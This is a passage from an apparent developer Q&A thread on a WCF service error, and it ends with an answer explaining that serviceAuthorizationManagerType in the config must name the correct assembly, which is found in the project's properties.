if (System.IO.File.Exists(path) == true)
{
return path;
}
}
}
catch { }
}
// not found
return null;
}
Hope i helped.
In my case, the Webservice was generating the assembly with a different name than the project/service name. It was set like that by my predecessor developer working on the solution and I didn't know.
It was set to -
<serviceBehaviors>
<behavior name="CustomServiceBehavior">
<serviceAuthorization serviceAuthorizationManagerType="BookingService.KeyAuthorizationManager, BookingService" />
</behavior>
</serviceBehaviors>
So, the fix was the put the right assembly name in serviceAuthorizationManagerType. The assembly name can be obtained from following path of the service project: Right click on the WCF svc project--> Select "Properties" --> From the list of tabs select "Application". Check the value against "Assembly name:" field in the list. This is the assemblyName to use for serviceAuthorizationManagerType which may not be the servicename necessarily.
<serviceBehaviors>
<behavior name="MyCustomServiceBehavior">
<serviceAuthorization serviceAuthorizationManagerType="BookingService.KeyAuthorizationManager, AssemblyNameFromSvcProperties" />
</behavior>
</serviceBehaviors>
remember to follow the instruction for serviceAuthorizationManagerType as mentioned on https://docs.microsoft.com/en-us/dotnet/framework/wcf/extending/how-to-create-a-custom-authorization-manager-for-a-service
It says -
Warning
Note that when you specify the serviceAuthorizationManagerType, the string must contain the fully qualified type name. a comma, and the name of the assembly in which the type is defined. If you leave out the assembly name, WCF will attempt to load the type from System.ServiceModel.dll.